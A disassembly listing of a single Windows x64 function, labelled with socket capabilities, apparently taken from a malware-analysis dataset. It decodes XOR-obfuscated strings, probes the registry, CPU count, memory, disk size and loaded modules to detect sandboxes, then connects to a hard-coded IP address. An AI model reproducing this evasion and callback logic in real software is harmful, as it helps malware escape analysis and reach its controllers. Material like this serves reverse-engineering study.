Function at 0x140059f90
Capabilities:
Connect socket
Initialize winsock library
Set socket configuration

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x460]
sub rsp, 0x560
mov rax, qword [0x14023f740]
xor rax, rsp
mov qword [rbp + 0x450], rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x48], xmm0
lea rcx, [rbp - 0x48]
call fcn.140077a20
nop
call fcn.14005b010
mov rcx, rax
call fcn.14005b140
xor r9d, r9d
xor r8d, r8d
mov rdx, rcx
lea rcx, [rbp - 0x48]
call fcn.140077780
test eax, eax
jle 0x14005af9c
xor esi, esi
mov dword [rbp - 0x54], esi
mov rbx, qword [0x1402458c8]
call qword [0x140245908]
mov rcx, rax
lea rdx, [rbp - 0x54]
call rbx
call qword [0x1402458d0]
test eax, eax
jne 0x14005af9c
cmp dword [rbp - 0x54], esi
jne 0x14005af9c
xor edx, edx
mov r8d, 0x140
lea rcx, [rbp + 0x170]
call fcn.1401b9730
mov r14, qword [0x1402458d8]
movdqa xmm0, xmmword [0x14021aee0]
movdqu xmmword [rsp + 0x40], xmm0
mov dword [rsp + 0x50], 0x17e39ac4
mov dword [rsp + 0x54], 0x17448b23
mov dword [rsp + 0x58], 0x27b58783
mov word [rsp + 0x5c], 0xc919
mov rax, qword gs:[0x58]
mov rbx, qword [rax]
mov ecx, 0x948
mov eax, dword [rcx + rbx]
mov edi, 0x998
add rdi, rbx
test al, 1
jne 0x14005a107
or eax, 1
mov dword [rcx + rbx], eax
mov byte [rdi + 0x1e], 1
lea rax, [rdi + 0x1d]
lea rcx, [rsp + 0x5d]
cmp rdi, rcx
ja 0x14005a0dc
lea rcx, [rsp + 0x40]
cmp rax, rcx
jb 0x14005a0dc
movups xmmword [rdi], xmm0
movsd xmm0, qword [rsp + 0x50]
movsd qword [rdi + 0x10], xmm0
mov eax, dword [rsp + 0x58]
mov dword [rdi + 0x18], eax
movzx eax, word [rsp + 0x5c]
mov word [rdi + 0x1c], ax
jmp 0x14005a0fa
movups xmmword [rdi], xmm0
movsd xmm0, qword [rsp + 0x50]
movsd qword [rdi + 0x10], xmm0
mov eax, dword [rsp + 0x58]
mov dword [rdi + 0x18], eax
movzx eax, word [rsp + 0x5c]
mov word [rdi + 0x1c], ax
lea rcx, [0x1401c3500]
call fcn.14018ede0
nop
cmp byte [rdi + 0x1e], 0
je 0x14005a188
xor byte [rdi], 0xa9
xor byte [rdi + 1], 0xa9
xor byte [rdi + 2], 0xd1
xor byte [rdi + 3], 0x4b
xor byte [rdi + 4], 0x75
xor byte [rdi + 5], 0xc9
xor byte [rdi + 6], 0x2b
xor byte [rdi + 7], 0x6f
xor byte [rdi + 8], 0xa9
xor byte [rdi + 9], 0xa9
xor byte [rdi + 0xa], 0xd1
xor byte [rdi + 0xb], 0x4b
xor byte [rdi + 0xc], 0x75
xor byte [rdi + 0xd], 0xc9
xor byte [rdi + 0xe], 0x2b
xor byte [rdi + 0xf], 0x6f
xor byte [rdi + 0x10], 0xa9
xor byte [rdi + 0x11], 0xa9
xor byte [rdi + 0x12], 0xd1
xor byte [rdi + 0x13], 0x4b
xor byte [rdi + 0x14], 0x75
xor byte [rdi + 0x15], 0xc9
xor byte [rdi + 0x16], 0x2b
xor byte [rdi + 0x17], 0x6f
xor byte [rdi + 0x18], 0xa9
xor byte [rdi + 0x19], 0xa9
xor byte [rdi + 0x1a], 0xd1
xor byte [rdi + 0x1b], 0x4b
xor byte [rdi + 0x1c], 0x75
xor byte [rdi + 0x1d], 0xc9
mov byte [rdi + 0x1e], 0
lea rdx, [rbp + 0x170]
mov rcx, rdi
call r14
cmp rax, 0xffffffffffffffff
jne 0x14005af9c
mov qword [rbp - 0x60], rsi
mov r14, qword [0x140245a40]
movdqa xmm0, xmmword [0x14021b070]
movdqu xmmword [rsp + 0x78], xmm0
movdqa xmm1, xmmword [0x14021afc0]
movdqu xmmword [rbp - 0x78], xmm1
mov dword [rbp - 0x68], 0xe9ec3b86
mov byte [rbp - 0x64], 0x91
mov ecx, 0x984
mov eax, dword [rcx + rbx]
mov edi, 0x898
test al, 1
jne 0x14005a237
or eax, 1
mov dword [rcx + rbx], eax
lea rcx, [rbx + rdi]
mov byte [rcx + 0x25], 1
lea rax, [rcx + 0x24]
lea rdx, [rbp - 0x64]
cmp rcx, rdx
ja 0x14005a219
lea rdx, [rsp + 0x78]
cmp rax, rdx
jb 0x14005a219
movups xmmword [rcx], xmm0
movups xmmword [rcx + 0x10], xmm1
mov eax, dword [rbp - 0x68]
mov dword [rcx + 0x20], eax
mov byte [rcx + 0x24], 0x91
jmp 0x14005a22a
movups xmmword [rcx], xmm0
movups xmmword [rcx + 0x10], xmm1
mov eax, dword [rbp - 0x68]
mov dword [rcx + 0x20], eax
mov byte [rcx + 0x24], 0x91
lea rcx, [0x1401c34d0]
call fcn.14018ede0
nop
lea rdx, [rbx + rdi]
cmp byte [rdx + 0x25], 0
je 0x14005a2dc
xor byte [rdx], 0xe9
xor byte [rdx + 1], 0x43
xor byte [rdx + 2], 0xbf
xor byte [rdx + 3], 0xaf
xor byte [rdx + 4], 0x91
xor byte [rdx + 5], 0xcd
xor byte [rdx + 6], 0xd5
xor byte [rdx + 7], 0x55
xor byte [rdx + 8], 0xe9
xor byte [rdx + 9], 0x43
xor byte [rdx + 0xa], 0xbf
xor byte [rdx + 0xb], 0xaf
xor byte [rdx + 0xc], 0x91
xor byte [rdx + 0xd], 0xcd
xor byte [rdx + 0xe], 0xd5
xor byte [rdx + 0xf], 0x55
xor byte [rdx + 0x10], 0xe9
xor byte [rdx + 0x11], 0x43
xor byte [rdx + 0x12], 0xbf
xor byte [rdx + 0x13], 0xaf
xor byte [rdx + 0x14], 0x91
xor byte [rdx + 0x15], 0xcd
xor byte [rdx + 0x16], 0xd5
xor byte [rdx + 0x17], 0x55
xor byte [rdx + 0x18], 0xe9
xor byte [rdx + 0x19], 0x43
xor byte [rdx + 0x1a], 0xbf
xor byte [rdx + 0x1b], 0xaf
xor byte [rdx + 0x1c], 0x91
xor byte [rdx + 0x1d], 0xcd
xor byte [rdx + 0x1e], 0xd5
xor byte [rdx + 0x1f], 0x55
xor byte [rdx + 0x20], 0xe9
xor byte [rdx + 0x21], 0x43
xor byte [rdx + 0x22], 0xbf
xor byte [rdx + 0x23], 0xaf
xor byte [rdx + 0x24], 0x91
mov byte [rdx + 0x25], 0
lea rax, [rbp - 0x60]
mov qword [rsp + 0x20], rax
mov r9d, 1
xor r8d, r8d
mov rcx, 0xffffffff80000002
call r14
test eax, eax
je 0x14005af9c
mov rcx, qword [rbp - 0x60]
test rcx, rcx
je 0x14005a30f
call qword [0x140245a50]
xorps xmm0, xmm0
movups xmmword [rbp + 0x140], xmm0
movups xmmword [rbp + 0x150], xmm0
movups xmmword [rbp + 0x160], xmm0
lea rcx, [rbp + 0x140]
call qword [0x1402458e0]
cmp dword [rbp + 0x160], 2
jb 0x14005af9c
xorps xmm0, xmm0
movups xmmword [rbp + 0x100], xmm0
movups xmmword [rbp + 0x110], xmm0
movups xmmword [rbp + 0x120], xmm0
movups xmmword [rbp + 0x130], xmm0
mov dword [rbp + 0x100], 0x40
lea rcx, [rbp + 0x100]
call qword [0x1402458e8]
mov rax, qword [rbp + 0x108]
and rax, 0xfffffffffff00000
mov ecx, 0xa0000000
cmp rax, rcx
jb 0x14005af9c
mov r14, qword [0x1402458f0]
movdqa xmm0, xmmword [0x14021b460]
movdqu xmmword [rsp + 0x60], xmm0
mov word [rsp + 0x70], 0x3dbe
mov byte [rsp + 0x72], 0x49
mov ecx, 0x968
mov eax, dword [rcx + rbx]
mov edi, 0x950
test al, 1
jne 0x14005a419
or eax, 1
mov dword [rcx + rbx], eax
lea rcx, [rdi + rbx]
mov byte [rcx + 0x13], 1
lea rax, [rcx + 0x12]
lea rdx, [rsp + 0x72]
cmp rcx, rdx
ja 0x14005a3fc
lea rdx, [rsp + 0x60]
cmp rax, rdx
jb 0x14005a3fc
movups xmmword [rcx], xmm0
movzx eax, word [rsp + 0x70]
mov word [rcx + 0x10], ax
mov byte [rcx + 0x12], 0x49
jmp 0x14005a40c
movups xmmword [rcx], xmm0
movzx eax, word [rsp + 0x70]
mov word [rcx + 0x10], ax
mov byte [rcx + 0x12], 0x49
lea rcx, [0x1401c34a0]
call fcn.14018ede0
nop
lea rcx, [rdi + rbx]
cmp byte [rcx + 0x13], 0
je 0x14005a472
xor byte [rcx], 0xdb
xor byte [rcx + 1], 0xd
xor byte [rcx + 2], 0x49
xor byte [rcx + 3], 0x9f
xor byte [rcx + 4], 0x41
xor byte [rcx + 5], 0xb5
xor byte [rcx + 6], 0xaf
xor byte [rcx + 7], 0xdf
xor byte [rcx + 8], 0xdb
xor byte [rcx + 9], 0xd
xor byte [rcx + 0xa], 0x49
xor byte [rcx + 0xb], 0x9f
xor byte [rcx + 0xc], 0x41
xor byte [rcx + 0xd], 0xb5
xor byte [rcx + 0xe], 0xaf
xor byte [rcx + 0xf], 0xdf
xor byte [rcx + 0x10], 0xdb
xor byte [rcx + 0x11], 0xd
xor byte [rcx + 0x12], 0x49
mov byte [rcx + 0x13], 0
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], esi
mov dword [rsp + 0x20], 3
xor r9d, r9d
xor edx, edx
lea r8d, [r9 + 3]
call r14
mov rdi, rax
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x20], xmm0
mov qword [rbp - 0x10], rax
mov dword [rbp - 0x50], esi
mov qword [rsp + 0x38], rsi
lea rax, [rbp - 0x50]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0x18
lea rax, [rbp - 0x20]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x70000
mov rcx, rdi
call qword [0x1402458f8]
mov eax, dword [rbp - 0xc]
mov ecx, dword [rbp - 0x10]
imul rax, rcx
mov ecx, dword [rbp - 0x14]
imul rax, rcx
imul rax, qword [rbp - 0x20]
cqo
and edx, 0x3fffffff
add rax, rdx
sar rax, 0x1e
cmp rax, 0x3c
jb 0x14005af9c
mov rcx, rdi
call qword [0x140245900]
mov ecx, 0x8d8
mov eax, dword [rcx + rbx]
mov edi, 0x970
test al, 1
jne 0x14005a553
or eax, 1
mov dword [rcx + rbx], eax
mov word [rdi + rbx + 0xb], 0x19d
mov dword [rdi + rbx], 0xf898f342
mov dword [rdi + rbx + 4], 0x53d1252d
mov word [rdi + rbx + 8], 0xfd55
mov byte [rdi + rbx + 0xa], 0x9d
lea rcx, [0x1401c3480]
call fcn.14018ede0
nop
lea rcx, [rdi + rbx]
cmp byte [rcx + 0xc], 0
je 0x14005a590
xor byte [rcx], 0x31
xor byte [rcx + 1], 0x91
xor byte [rcx + 2], 0xf1
xor byte [rcx + 3], 0x9d
xor byte [rcx + 4], 0x49
xor byte [rcx + 5], 0x49
xor byte [rcx + 6], 0xbd
xor byte [rcx + 7], 0x7d
xor byte [rcx + 8], 0x31
xor byte [rcx + 9], 0x91
xor byte [rcx + 0xa], 0xf1
xor byte [rcx + 0xb], 0x9d
mov byte [rcx + 0xc], 0
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test rax, rax
jne 0x14005af9c
mov ecx, 0x8c0
mov eax, dword [rcx + rbx]
mov edi, 0xa18
test al, 1
jne 0x14005a5e5
or eax, 1
mov dword [rcx + rbx], eax
mov word [rdi + rbx + 0xb], 0x18f
mov dword [rdi + rbx], 0xe7820475
mov dword [rdi + rbx + 4], 0x7d81080
mov word [rdi + rbx + 8], 0x567
mov byte [rdi + rbx + 0xa], 0x8d
lea rcx, [0x1401c3460]
call fcn.14018ede0
nop
lea rcx, [rdi + rbx]
cmp byte [rcx + 0xc], 0
je 0x14005a622
xor byte [rcx], 3
xor byte [rcx + 1], 0x69
xor byte [rcx + 2], 0xe1
xor byte [rcx + 3], 0x8f
xor byte [rcx + 4], 0xe5
xor byte [rcx + 5], 0x73
xor byte [rcx + 6], 0xb3
xor byte [rcx + 7], 0x29
xor byte [rcx + 8], 3
xor byte [rcx + 9], 0x69
xor byte [rcx + 0xa], 0xe1
xor byte [rcx + 0xb], 0x8f
mov byte [rcx + 0xc], 0
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test rax, rax
jne 0x14005af9c
mov ecx, 0x9fc
mov eax, dword [rcx + rbx]
mov edi, 0x938
test al, 1
jne 0x14005a678
or eax, 1
mov dword [rcx + rbx], eax
mov word [rdi + rbx + 0xd], 0x12b
mov dword [rdi + rbx], 0xad2e9641
mov dword [rdi + rbx + 4], 0x3a324824
mov dword [rdi + rbx + 8], 0xa929d505
mov byte [rdi + rbx + 0xc], 0x2d
lea rcx, [0x1401c3440]
call fcn.14018ede0
nop
lea rcx, [rdi + rbx]
cmp byte [rcx + 0xe], 0
je 0x14005a6bd
xor byte [rcx], 0x37
xor byte [rcx + 1], 0xfb
xor byte [rcx + 2], 0x4d
xor byte [rcx + 3], 0xc5
xor byte [rcx + 4], 0x41
xor byte [rcx + 5], 0x2b
xor byte [rcx + 6], 0x59
xor byte [rcx + 7], 9
xor byte [rcx + 8], 0x37
xor byte [rcx + 9], 0xfb
xor byte [rcx + 0xa], 0x4d
xor byte [rcx + 0xb], 0xc5
xor byte [rcx + 0xc], 0x41
xor byte [rcx + 0xd], 0x2b
mov byte [rcx + 0xe], 0
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test rax, rax
jne 0x14005af9c
mov ecx, 0x9f8
mov eax, dword [rcx + rbx]
mov edi, 0x8c8
test al, 1
jne 0x14005a713
or eax, 1
mov dword [rcx + rbx], eax
mov word [rdi + rbx + 0xd], 0x12d
mov dword [rdi + rbx], 0xddc0d23b
mov dword [rdi + rbx + 4], 0xff204ed6
mov dword [rdi + rbx + 8], 0xd9c79179
mov byte [rdi + rbx + 0xc], 0xdf
lea rcx, [0x1401c3420]
call fcn.14018ede0
nop
lea rcx, [rdi + rbx]
cmp byte [rcx + 0xe], 0
je 0x14005a758
xor byte [rcx], 0x4d
xor byte [rcx + 1], 0xbf
xor byte [rcx + 2], 0xa3
xor byte [rcx + 3], 0xb5
xor byte [rcx + 4], 0xb3
xor byte [rcx + 5], 0x2d
xor byte [rcx + 6], 0x4b
xor byte [rcx + 7], 0xc9
xor byte [rcx + 8], 0x4d
xor byte [rcx + 9], 0xbf
xor byte [rcx + 0xa], 0xa3
xor byte [rcx + 0xb], 0xb5
xor byte [rcx + 0xc], 0xb3
xor byte [rcx + 0xd], 0x2d
mov byte [rcx + 0xe], 0
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test rax, rax
jne 0x14005af9c
mov ecx, 0xa14
mov eax, dword [rcx + rbx]
mov edi, 0x9e8
test al, 1
jne 0x14005a7ad
or eax, 1
mov dword [rcx + rbx], eax
mov word [rdi + rbx + 0xb], 0x18f
mov dword [rdi + rbx], 0xe78c7553
mov dword [rdi + rbx + 4], 0x63b153d6
mov word [rdi + rbx + 8], 0x7b53
mov byte [rdi + rbx + 0xa], 0x87
lea rcx, [0x1401c3400]
call fcn.14018ede0
nop
lea rcx, [rdi + rbx]
cmp byte [rcx + 0xc], 0
je 0x14005a7ea
xor byte [rcx], 0x37
xor byte [rcx + 1], 0x17
xor byte [rcx + 2], 0xeb
xor byte [rcx + 3], 0x8f
xor byte [rcx + 4], 0xb3
xor byte [rcx + 5], 0x3f
xor byte [rcx + 6], 0xc1
xor byte [rcx + 7], 0x4d
xor byte [rcx + 8], 0x37
xor byte [rcx + 9], 0x17
xor byte [rcx + 0xa], 0xeb
xor byte [rcx + 0xb], 0x8f
mov byte [rcx + 0xc], 0
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test rax, rax
jne 0x14005af9c
mov ecx, 0x980
mov eax, dword [rcx + rbx]
mov edi, 0xa00
test al, 1
jne 0x14005a83f
or eax, 1
mov dword [rcx + rbx], eax
mov word [rdi + rbx + 0xb], 0x1b5
mov dword [rdi + rbx], 0xea08338a
mov dword [rdi + rbx + 4], 0x31425e57
mov word [rdi + rbx + 8], 0x2f8f
mov byte [rdi + rbx + 0xa], recv
lea rcx, [0x1401c33e0]
call fcn.14018ede0
nop
lea rcx, [rdi + rbx]
cmp byte [rcx + 0xc], 0
je 0x14005a87c
xor byte [rcx], 0xeb
xor byte [rcx + 1], 0x43
xor byte [rcx + 2], 0x61
xor byte [rcx + 3], 0xb5
xor byte [rcx + 4], 0x3b
xor byte [rcx + 5], 0x31
xor byte [rcx + 6], 0x25
xor byte [rcx + 7], 0x1f
xor byte [rcx + 8], 0xeb
xor byte [rcx + 9], 0x43
xor byte [rcx + 0xa], 0x61
xor byte [rcx + 0xb], 0xb5
mov byte [rcx + 0xc], 0
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test rax, rax
jne 0x14005af9c
mov ecx, 0x964
mov eax, dword [rcx + rbx]
mov edi, 0x9b8
test al, 1
jne 0x14005a8d2
or eax, 1
mov dword [rcx + rbx], eax
mov word [rdi + rbx + 0xd], 0x1cf
mov dword [rdi + rbx], 0xeaa1fc1f
mov dword [rdi + rbx + 4], 0x4849aec2
mov dword [rdi + rbx + 8], 0xd9b7bb13
mov byte [rdi + rbx + 0xc], 0xd9
lea rcx, [0x1401c33c0]
call fcn.14018ede0
nop
lea rcx, [rdi + rbx]
cmp byte [rcx + 0xe], 0
je 0x14005a917
xor byte [rcx], 0x7b
xor byte [rcx + 1], 0x95
xor byte [rcx + 2], 0xd3
xor byte [rcx + 3], 0xb5
xor byte [rcx + 4], 0xb5
xor byte [rcx + 5], 0xcf
xor byte [rcx + 6], 0x3d
xor byte [rcx + 7], 0x2b
xor byte [rcx + 8], 0x7b
xor byte [rcx + 9], 0x95
xor byte [rcx + 0xa], 0xd3
xor byte [rcx + 0xb], 0xb5
xor byte [rcx + 0xc], 0xb5
xor byte [rcx + 0xd], 0xcf
mov byte [rcx + 0xe], 0
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test rax, rax
jne 0x14005af9c
mov ecx, 0x9e0
mov eax, dword [rcx + rbx]
mov edi, 0x9d0
test al, 1
jne 0x14005a96c
or eax, 1
mov dword [rcx + rbx], eax
mov word [rdi + rbx + 0xb], 0x1b5
mov dword [rdi + rbx], 0xdaada86d
mov dword [rdi + rbx + 4], 0xbde8cebb
mov word [rdi + rbx + 8], 0xb779
mov byte [rdi + rbx + 0xa], 0xb5
lea rcx, [0x1401c33a0]
call fcn.14018ede0
nop
lea rcx, [rdi + rbx]
cmp byte [rcx + 0xc], 0
je 0x14005a9a9
xor byte [rcx], 0x1d
xor byte [rcx + 1], 0xdb
xor byte [rcx + 2], 0xd9
xor byte [rcx + 3], 0xb5
xor byte [rcx + 4], 0xc9
xor byte [rcx + 5], 0xab
xor byte [rcx + 6], 0x8b
xor byte [rcx + 7], 0x93
xor byte [rcx + 8], 0x1d
xor byte [rcx + 9], 0xdb
xor byte [rcx + 0xa], 0xd9
xor byte [rcx + 0xb], 0xb5
mov byte [rcx + 0xc], 0
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test rax, rax
jne 0x14005af9c
mov ecx, 0x894
mov eax, dword [rcx + rbx]
mov edi, 0xa30
test al, 1
jne 0x14005a9f3
or eax, 1
mov dword [rcx + rbx], eax
mov dword [rdi + rbx + 8], 0x149db19
mov dword [rdi + rbx], 0x62cc702
mov dword [rdi + rbx + 4], 0xc94d944d
lea rcx, [0x1401c3370]
call fcn.14018ede0
nop
lea rcx, [rdi + rbx]
cmp byte [rcx + 0xb], 0
je 0x14005aa2c
xor byte [rcx], 0x75
xor byte [rcx + 1], 0xb7
xor byte [rcx + 2], 0x49
xor byte [rcx + 3], 0x75
xor byte [rcx + 4], 0x3d
xor byte [rcx + 5], 0xed
xor byte [rcx + 6], 0x63
xor byte [rcx + 7], 0xad
xor byte [rcx + 8], 0x75
xor byte [rcx + 9], 0xb7
xor byte [rcx + 0xa], 0x49
mov byte [rcx + 0xb], 0
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test rax, rax
jne 0x14005af9c
mov ecx, 0xa10
mov eax, dword [rcx + rbx]
mov edi, 0x928
test al, 1
jne 0x14005aa81
or eax, 1
mov dword [rcx + rbx], eax
mov word [rdi + rbx + 0xb], 0x189
mov dword [rdi + rbx], 0xd6c660e9
mov dword [rdi + rbx + 4], 0x67a4ad7e
mov word [rdi + rbx + 8], 0x43c1
mov byte [rdi + rbx + 0xa], 0xed
lea rcx, [0x1401c3350]
call fcn.14018ede0
nop
lea rcx, [rdi + rbx]
cmp byte [rcx + 0xc], 0
je 0x14005aabe
xor byte [rcx], 0xa5
xor byte [rcx + 1], 0x2f
xor byte [rcx + 2], 0x81
xor byte [rcx + 3], 0x89
xor byte [rcx + 4], 0x3f
xor byte [rcx + 5], 0xfd
xor byte [rcx + 6], 0xed
xor byte [rcx + 7], 0x49
xor byte [rcx + 8], 0xa5
xor byte [rcx + 9], 0x2f
xor byte [rcx + 0xa], 0x81
xor byte [rcx + 0xb], 0x89
mov byte [rcx + 0xc], 0
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test rax, rax
jne 0x14005af9c
mov ecx, 0x9c8
mov eax, dword [rcx + rbx]
mov edi, 0x988
test al, 1
jne 0x14005ab14
or eax, 1
mov dword [rcx + rbx], eax
mov word [rbx + rdi + 0xd], 0x18f
mov dword [rbx + rdi], 0x6c4462b9
mov dword [rbx + rdi + 4], 0xc61edf52
mov dword [rbx + rdi + 8], 0x5f6703c7
mov byte [rbx + rdi + 0xc], 0x7f
lea rcx, [0x1401c3330]
call fcn.14018ede0
nop
lea rcx, [rdi + rbx]
cmp byte [rcx + 0xe], 0
je 0x14005ab59
xor byte [rcx], 0xf5
xor byte [rcx + 1], 0x2d
xor byte [rcx + 2], 3
xor byte [rcx + 3], 0x33
xor byte [rcx + 4], 0x13
xor byte [rcx + 5], 0x8f
xor byte [rcx + 6], 0x57
xor byte [rcx + 7], 0xf5
xor byte [rcx + 8], 0xf5
xor byte [rcx + 9], 0x2d
xor byte [rcx + 0xa], 3
xor byte [rcx + 0xb], 0x33
xor byte [rcx + 0xc], 0x13
xor byte [rcx + 0xd], 0x8f
mov byte [rcx + 0xe], 0
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test rax, rax
jne 0x14005af9c
mov rcx, qword [rbp - 0x48]
test rcx, rcx
je 0x14005ab77
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov rcx, qword [rbp - 0x40]
test rcx, rcx
je 0x14005ab86
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
call qword [0x140245a30]
nop
mov ecx, 0x202
lea rdx, [rbp + 0x2b0]
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x14005abae
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
jmp 0x14005afc6
xor edx, edx
mov r8d, 0xd8
lea rcx, [rbp]
call fcn.1401b9730
mov byte [rbp], 0
mov rdi, 0xffffffffffffffff
mov qword [rbp + 8], rdi
mov dword [rbp + 0x10], esi
mov qword [rbp + 0x18], rsi
mov qword [rbp + 0x20], rsi
xorps xmm0, xmm0
movups xmmword [rbp + 0x28], xmm0
movups xmmword [rbp + 0x38], xmm0
movups xmmword [rbp + 0x48], xmm0
mov qword [rbp + 0x58], rsi
mov r12d, 2
mov edx, r12d
lea rcx, [rbp + 0x10]
call fcn.14018dfa0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x60], xmm0
movdqa xmm1, xmmword [0x14021ae00]
movdqa xmmword [rbp + 0x70], xmm1
mov byte [rbp + 0x60], 0
movups xmmword [rbp + 0x80], xmm0
movdqa xmmword [rbp + 0x90], xmm1
mov byte [rbp + 0x80], 0
movdqa xmmword [rbp + 0xa0], xmm0
mov qword [rbp + 0xb0], rsi
mov qword [rbp + 0xb8], rsi
mov qword [rbp + 0xc0], rsi
mov r15d, reloc.WS2_32.dll_recv
mov ecx, r15d
call fcn.14018e950
mov qword [rax + 8], rsi
mov qword [rbp + 0xa0], rax
lea rcx, [rbp + 0xa0]
mov qword [rax], rcx
mov qword [rbp + 0xc8], rsi
mov byte [rbp + 0xd0], 0
mov dword [rbp - 0x58], 0x104
xor r8d, r8d
mov edx, 0x104
lea rcx, [rbp + 0x80]
call fcn.140028740
mov rax, qword [0x1402459d8]
lea rcx, [rbp + 0x80]
cmp qword [rbp + 0x98], 0xf
cmova rcx, qword [rbp + 0x80]
lea rdx, [rbp - 0x58]
call rax
test eax, eax
je 0x14005ae38
mov edx, dword [rbp - 0x58]
xor r8d, r8d
lea rcx, [rbp + 0x80]
call fcn.140028740
lea r8, [rbp + 0x80]
lea rbx, [0x140245840]
mov rdx, rbx
lea rcx, [0x140245740]
call fcn.14003c6b0
cmp rax, rbx
jne 0x14005ae38
mov dword [rbp - 0x58], 0x104
xor r8d, r8d
mov edx, 0x104
lea rcx, [rbp + 0x60]
call fcn.140028740
mov rax, qword [0x1402459e0]
lea rcx, [rbp + 0x60]
cmp qword [rbp + 0x78], 0xf
cmova rcx, qword [rbp + 0x60]
lea rdx, [rbp - 0x58]
call rax
test eax, eax
je 0x14005ae38
mov edx, dword [rbp - 0x58]
dec edx
xor r8d, r8d
lea rcx, [rbp + 0x60]
call fcn.140028740
lea r8, [rbp + 0x60]
lea rbx, [0x140245740]
mov rdx, rbx
lea rcx, [0x1402456a0]
call fcn.14003c6b0
cmp rax, rbx
jne 0x14005ae38
lea edx, [rdi + 2]
lea r8d, [rdi + 7]
mov ecx, r12d
call qword [sym.imp.WS2_32.dll_socket]
mov qword [rbp + 8], rax
mov dword [rbp - 0x38], 1
lea r8, [rbp - 0x38]
mov edx, 0x8004667e
mov rcx, rax
call qword [sym.imp.WS2_32.dll_ioctlsocket]
call fcn.14018e194
mov r14, rax
movabs r13, 0x1ca213d840baf7d5
nop dword [rax + rax]
mov dword [rbp + 0xe8], 0x7a530002
mov dword [rbp + 0xec], 0xec935f2d
mov rbx, qword [rbp + 8]
mov r8d, r15d
lea rdx, [rbp + 0xe8]
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_connect]
xorps xmm0, xmm0
movups xmmword [rbp - 0x30], xmm0
mov qword [rbp - 0x30], rbx
mov word [rbp - 0x28], r15w
mov edx, 1
mov r8d, 0xea60
lea rcx, [rbp - 0x30]
call qword [sym.imp.WS2_32.dll_WSAPoll]
test eax, eax
jle 0x14005ae10
movzx eax, byte [rbp - 0x26]
test al, 1
jne 0x14005ae10
test al, 2
je 0x14005ae77
call fcn.14018e194
mov rcx, rax
sub rcx, r14
mov rax, r13
imul rcx
sar rdx, 0x1a
mov rax, rdx
shr rax, 0x3f
add rdx, rax
cmp edx, 0x1e
jl 0x14005adb0
mov esi, edi
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov rcx, qword [rbp + 0xc8]
test rcx, rcx
je 0x14005aee3
lock xadd dword [rcx + 8], edi
cmp edi, 1
jne 0x14005aee3
mov r8, qword [rcx + 0xc8]
test r8, r8
je 0x14005aed9
mov rax, qword [r8]
mov rdx, rcx
mov rcx, r8
call qword [rax]
jmp 0x14005aee3
lea rcx, [rbp]
call fcn.14003a340
test al, al
je 0x14005ae38
lea rax, [rbp]
mov qword [rbp + 0xe0], rax
lea rcx, [rbp]
call fcn.14003af70
lea rcx, [rbp + 0xe0]
call fcn.140068b60
mov byte [rbp], 0
mov rcx, qword [rbp + 0xc8]
test rcx, rcx
je 0x14005affc
cmp byte [rbp + 0xd0], 0
je 0x14005aece
cmp byte [rcx + 0xb8], 0
jne 0x14005affc
mov rax, qword [rcx]
call qword [rax + ioctlsocket]
jmp 0x14005ae3a
mov rax, qword [rcx]
mov edx, 1
call qword [rax]
lea rcx, [rbp + 0xa0]
call fcn.14003b600
mov rdx, qword [rbp + 0x98]
cmp rdx, 0xf
jbe 0x14005af30
inc rdx
mov rcx, qword [rbp + 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005af2b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005aff6
call fcn.14018e98c
movdqa xmm0, xmmword [0x14021ae00]
movdqa xmmword [rbp + 0x90], xmm0
mov byte [rbp + 0x80], 0
mov rdx, qword [rbp + 0x78]
cmp rdx, 0xf
jbe 0x14005af7e
inc rdx
mov rcx, qword [rbp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005af79
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005aff6
call fcn.14018e98c
movdqa xmm0, xmmword [0x14021ae00]
movdqa xmmword [rbp + 0x70], xmm0
mov byte [rbp + 0x60], 0
lea rcx, [rbp + 0x10]
call fcn.1400283d0
mov eax, esi
jmp 0x14005afc6
mov rcx, qword [rbp - 0x48]
test rcx, rcx
je 0x14005afab
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov rcx, qword [rbp - 0x40]
test rcx, rcx
je 0x14005afba
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
call qword [0x140245a30]
nop
mov eax, 1
mov rcx, qword [rbp + 0x450]
xor rcx, rsp
call fcn.14018e930
lea r11, [rsp + 0x560]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.1401959ec
nop
mov ecx, 4
call fcn.14003a0a0
int3